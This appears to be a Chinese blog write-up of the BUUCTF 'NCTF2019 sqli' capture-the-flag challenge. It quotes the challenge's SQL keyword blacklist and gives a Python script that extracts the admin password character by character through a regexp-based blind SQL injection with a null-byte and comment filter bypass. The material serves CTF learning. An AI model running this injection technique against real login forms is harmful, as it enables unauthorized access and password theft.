55.【5】BUUCTF WEB NCTF2019 sqli

进入靶场

输入admin 123

过滤的这么严格???

过滤很严格,此时要么爆破,要么扫描

直接扫描,得到robots.txt

访问后又得到hint.txt

继续访问

图片内容如下

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST'passwd' === admin's password,

Then you will get the flag;

所以我们必须要绕过黑名单,而且密码必须等于管理员的密码,但admin也被过滤了

看了别人的wp

需要进行正则匹配,需要python脚本

下面的代码会跑出密码

复制代码
import requests
from urllib import parse
import string

url = '。。。。。。。。。。。。'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'
for i in range (1,60):
    if num == 1 :
        break
    for j in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
        }
        print(result+j)
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            result += j
            break
        if j=='_' and 'welcome' not in res.text:
            break

此时输入用户名(只要不是黑名单里的就行)和密码(跑出来的)即可

over

笔记

1,连续2道题用到python脚本了

2,学习了正则匹配

相关推荐
M78佐菲33 分钟前
ARM学习笔记(1)
linux·arm开发·笔记·嵌入式硬件·学习
红姐跨境书1 小时前
从零打造高性能 API 网关: Go 语言中的双缓冲 Dynamic Config 最佳实践
安全
益达丫2 小时前
Socket编程揭秘:端口、IP与进程通信的底层逻辑
linux·笔记
Rain的Java大神之路3 小时前
如何快速上传10G文件
java·spring boot·redis·后端·mysql·spring cloud·面试
无敌贵点大王3 小时前
RTThread学习记录11——RT-Thread 设备模型吃透:UART/ADC/PWM/PIN 到底有什么区别?
c语言·stm32·学习·链表
十二同学啊3 小时前
向量数据库:从核心原理到 RAG 与 Java 实战
数据库
蓝速科技4 小时前
会议室门牌公告通知发布选型与落地指南丨蓝速科技
大数据·运维·数据库·人工智能·科技
大海星辰7984 小时前
一次对账SQL“灵异事件”排查:NOT IN返回空集的坑
mysql
是翎5 小时前
深度长文|2026产品经理AI实践手册
人工智能·深度学习·学习·自然语言处理·数据挖掘
Linux-lucky5 小时前
32-38-Linux学习之旅之MySQL综合
linux·运维·学习·mysql·ubuntu